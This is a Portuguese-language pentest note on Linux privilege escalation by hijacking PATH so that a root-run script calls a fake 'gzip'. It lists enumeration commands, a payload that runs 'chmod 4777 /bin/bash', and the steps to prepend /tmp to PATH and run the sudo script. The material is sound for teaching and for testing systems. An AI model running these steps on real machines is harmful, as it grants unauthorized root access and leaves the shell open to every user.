> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/path-hijacking/path-hijacking-gzip-linux-privilege-escalation.md).

# Sequestro de PATH (gzip) - Escalação de privilégios no Linux

Anotações sobre sequestro de PATH (gzip) para escalação de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação voltada a relatórios.

## O que é

O sequestro de PATH explora programas ou scripts privilegiados que chamam comandos sem caminhos absolutos. Se o invasor controla um diretório anterior em `PATH`, o processo privilegiado pode executar o binário do invasor. Esta página específica se concentra em **Sequestro de PATH (gzip)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e depois execute a menor carga útil necessária para provar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

## Exemplos

### **Desvio de caminho (gzip)**

Listamos as permissões do sudo:

```bash
sudo -l
```

Encontramos um script executável como root usando `gzip` sem caminho absoluto.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-803a38118d428ceb6b3e2ba243fa89684001b646%2Fimage%20(667).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Criar um binário malicioso**

Criamos um malicioso `gzip` arquivo em `/tmp/`:

```bash
chmod 4777 /bin/bash
```

Modificamos a variável `PATH` para priorizar `/tmp/`:

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c50c2363e851b9081871d04eeba7670e8935eea%2Fimage%20(668).png?alt=media" alt=""><figcaption></figcaption></figure>

Executamos o script como root:

```bash
sudo /opt/scripts/access_backup.sh
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0abfe4727c3e6362c49afe5d0f1d8ea504ae58c%2Fimage%20(669).png?alt=media" alt=""><figcaption></figcaption></figure>


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